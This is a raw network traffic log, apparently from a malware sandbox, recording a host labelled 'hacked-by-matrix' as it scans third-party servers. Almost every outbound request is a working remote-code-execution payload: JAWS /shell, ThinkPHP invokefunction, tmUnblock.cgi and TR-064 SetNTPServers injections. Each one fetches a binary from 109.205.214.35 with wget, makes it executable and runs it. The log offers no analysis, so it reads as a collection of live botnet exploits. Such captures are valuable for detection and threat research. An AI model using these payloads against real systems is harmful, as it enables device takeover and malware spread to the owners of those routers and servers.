613	192.168.2.13	54978	162.212.171.61	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:42.090121031 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:42.296039104 CET	470	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:22:42 GMT Server: Apache/2.2.15 (CentOS) Content-Length: 278 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 31 35 20 28 43 65 6e 74 4f 53 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p><hr><address>Apache/2.2.15 (CentOS) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
614	192.168.2.13	46008	112.187.241.49	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:42.324157000 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
615	192.168.2.13	43244	133.130.69.207	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:42.375262022 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:43.822762012 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:44.100687981 CET	467	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:22:43 GMT Server: Apache Content-Length: 289 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 6d 6f 72 6f 6d 69 2d 65 78 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache Server at moromi-ex.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
616	192.168.2.13	36612	118.27.33.218	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:42.375292063 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:43.263885975 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:43.542979956 CET	322	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:22:43 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
617	192.168.2.13	38672	18.160.211.40	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:42.807040930 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:43.146364927 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:43.264266968 CET	927	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE

Session ID	Source IP	Source Port	Destination IP	Destination Port
618	192.168.2.13	33738	95.142.174.86	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:42.858946085 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:43.018650055 CET	283	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 21 Mar 2024 04:22:42 GMT Server: AWS (Ada Web Server) v2018 Location: https://:443/index.php Connection: keep-alive Content-Type: text/html Content-Length: 61 Data Raw: 50 61 67 65 20 6d 6f 76 65 64 3c 62 72 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 3a 34 34 33 2f 69 6e 64 65 78 2e 70 68 70 22 3e 43 6c 69 63 6b 20 68 65 72 65 3c 2f 61 3e Data Ascii: Page moved<br><a href="https://:443/index.php">Click here</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port
619	192.168.2.13	53184	95.179.189.70	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:42.868443012 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
620	192.168.2.13	43288	95.163.12.251	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:42.908684969 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:43.122627974 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:22:42 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
621	192.168.2.13	42398	95.183.39.119	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:42.934667110 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:43.183852911 CET	315	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Thu, 21 Mar 2024 04:22:43 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
622	192.168.2.13	45028	88.221.62.89	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:43.027816057 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:43.196194887 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Thu, 21 Mar 2024 04:22:43 GMT Date: Thu, 21 Mar 2024 04:22:43 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 39 66 38 66 31 34 30 32 26 23 34 36 3b 31 37 31 30 39 39 34 39 36 33 26 23 34 36 3b 62 31 64 65 62 63 34 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.9f8f1402.1710994963.b1debc4</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
623	192.168.2.13	58480	88.116.105.149	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:43.081877947 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:44.268291950 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:44.485877037 CET	322	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:22:44 GMT Content-Type: text/html; charset=utf-8 Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
624	192.168.2.13	43512	172.64.41.53	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:43.082124949 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
625	192.168.2.13	55074	172.67.78.209	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:43.082884073 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
626	192.168.2.13	52250	184.186.101.22	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:43.158423901 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:22:44.076317072 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
627	192.168.2.13	59554	137.25.129.185	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:43.184353113 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:47.212261915 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:53.359301090 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:05.391016960 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
628	192.168.2.13	59596	23.58.250.41	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:43.811877012 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:43.939374924 CET	437	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 215 Expires: Thu, 21 Mar 2024 04:22:43 GMT Date: Thu, 21 Mar 2024 04:22:43 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 34 66 63 33 31 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 39 36 33 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.4fc3117.1710994963.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
629	192.168.2.13	36084	213.139.78.11	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:44.310024977 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
630	192.168.2.13	53520	99.250.27.154	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:44.329940081 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
631	192.168.2.13	59606	137.25.129.185	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:44.389220953 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
